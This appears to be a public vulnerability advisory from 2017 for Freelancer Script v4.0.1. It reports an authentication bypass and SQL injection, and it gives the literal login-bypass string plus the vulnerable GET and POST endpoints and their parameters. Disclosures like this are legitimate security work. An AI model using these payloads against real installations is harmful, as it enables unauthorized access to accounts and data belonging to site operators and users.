Freelancer Script 4.0.1 SQL Injection
Posted on 17 March 2017
################################################ #Title: FREELANCER SCRIPT v4.0.1 - Authentication Bypass & SQL injection #Credit: Bilal KARDADOU #Vendor: http://www.2daybiz.com #Vendor URL: http://2daybiz.com/content/products/products/job-site-script/119-freelancer-script.php #Product: FREELANCER SCRIPT v4.0.1 #Google Dork: N/A ################################################ # # Product & Service Introduction: # # Freelance script easy to manage and very simple to deploy, # comes with a web-based administrative panel has the capabilities to manage users, # financial transactions, categories and all relevant aspects of the system, with few clicks of the mouse. # # # http://localhost/freelancerscript/loginfr.php # # Username: 'or''=' # Password: 'or''=' # # # --SQL Injection-- # http://localhost/freelancerscript/project_details.php?pid=24[SQL]&title=project1 # # PoC: # http://prnt.sc/ekbqnm # # POST : # http://localhost/freelancerscript/logincheck.php # data$: uname=demo[SQL]&pwd=demo&place=log&enter=Login # # PoC: # http://prnt.sc/ekbrel # # Bilal KARDADOU - https://www.linkedin.com/in/bilal-kardadou-21a000127) ################################################ -- *Bilal Kardadou* IT Security Consultant *E* : b.kardadou@capvalue.ma | *E* : bilalkardadou@gmail.com |
